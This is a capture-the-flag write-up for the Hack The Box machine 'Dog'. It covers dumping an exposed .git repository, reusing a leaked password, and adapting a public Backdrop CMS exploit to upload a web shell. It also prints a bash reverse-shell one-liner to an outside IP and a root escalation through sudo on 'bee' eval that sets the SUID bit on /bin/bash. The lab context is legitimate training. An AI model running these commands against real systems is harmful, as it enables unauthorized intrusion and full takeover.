Dog : Linux : Easy
Web site with exposed
.git endpoint
results in exposed credentials.
These are used to login to the website and exploit the cms via file exploit after minor modifications to a known exploit
. This results in a shell which can be used to enumerate more users
which are vulnerable to password reuse.
This user has sudo privileges to a bee php file
which can be used to evaluate arbitrary php code
as root and gain an elevated shell.
Enumeration
nmap scan
1 | ┌──(kali㉿kali)-[~/ctf/dog] |
Note from the above scan Git repository found!
git-dumping
1 | $ git-dumper http://dog.htb/ dog.git |
assessment of repository
Interesting web files. Settings.php contains credentials.
shell.zip and exploit.py are files i made earlier.
1 | ──(kali㉿kali)-[~/ctf/dog/dog.git] |
These unfortunately are not valid ssh credentials for root@dog.htb.
enumerating the website
1 | $ dirsearch -u http://dog.htb |
We can see the website is using backdropcms. Searching google for exploits shows that there is an existing authenticated RCE for 1.27.1
We also see a web login. /index.php/login/ which is visible from the home page.
It appears that there are no further points of exploitation without valid credentials. We can test for authentication with root:BackDropJ2024DS2024
and also brute force the weblogin for users and credentials.
It is also possible however that there are more users and credentials in the .git repository that may be vulnerable to password reuse. We can search for company emails to find potential usernames.
Searching for users in .git
1 | └─$ grep -r "@dog.htb" |
It is also possible to discover tiffany directly through the exposed /files directory:
http://dog.htb/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json
1 | _config_name "update.settings" |
We can authenticate to the website with the tiffany user reusing the previously discovered password.
Exploitation
Now that we have opened up authenticated exploits such as this one from exploitdb for backdropcms we can investigate further.
1 | def create_zip(info_path, php_path): |
We can see it creates a .zip file with a .php web shell and info. And uploads it as a module to the cms. We can also see in the second block that it provides manual instructions to upload the .zip file. In any instance it gets blocked.
We can see the server has been configured to only accept (tar tgz gz bz2.)
extensions.
Creating .tar file with a web shell in it.
We can just unzip the original exploit zip file and then tar the contents. Using the same webshell which I will share below.
1 | <html> |
1 | tar -cvf shell.tar shell/shell.info shell/shell.php |
After uploading this module, and quickly navigating to /modules.
the server seems to delete the files after a minute or so…
We can use the webshell to execute a reverse shell.
1 | bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/4444 <&1' |
1 | nc -lvnp 4444 |
Escalation
listing home folder
1 | $ ls /home |
testing for password reuse with new usernames
1 | ┌──(kali㉿kali)-[~] |
checking sudo privileges
1 | sudo -l |
As standard with sudo. I did check GTFO bins. However I could not find anything. So /bin/bee had to be enumerated further.
We can check the permissions and see it’s php.
1 | $ ls -la /usr/local/bin/bee |
trying to edit the file
1 | $ sudo nano /usr/local/bin/bee |
Using sudo nano was a mistake as we only have permissions for the bee binary however the point is that the file cannot be edited directly.
/usr/local/bin/bee is a symlink pointing to /backdrop_tool/bee/bee.php
despite the symlink having full permissions. It is not directly possible to edit it. Nor is it possible to edit /backdrop_tool/bee/bee.php.
executing the bee binary
We get more information including information on a supposed eval function.
We can run the bee binary as sudo, with the eval function, executing arbitrary code as the root user.
We need to initiate the program in someway to access this functionality however otherwise the following error is shown.
1 | The required bootstrap level for 'eval' is not ready. |
final command to execute and escalte with bee
Initiate program, and change the bash stickybit to the permission of the root user.
Because root owns the file and when running sudo bee, chmod will set the /bin/bash stickybit
to root, such that any other user running the bash binary will execute it as the root user.
1 | sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('chmod u+s /bin/bash');" |
executing bash
1 | bash-p |
-p preserves permissions, due to it by default for security reasons not directly execute bash with the stickybit permissions.
root
1 | bash-5.0# whoami |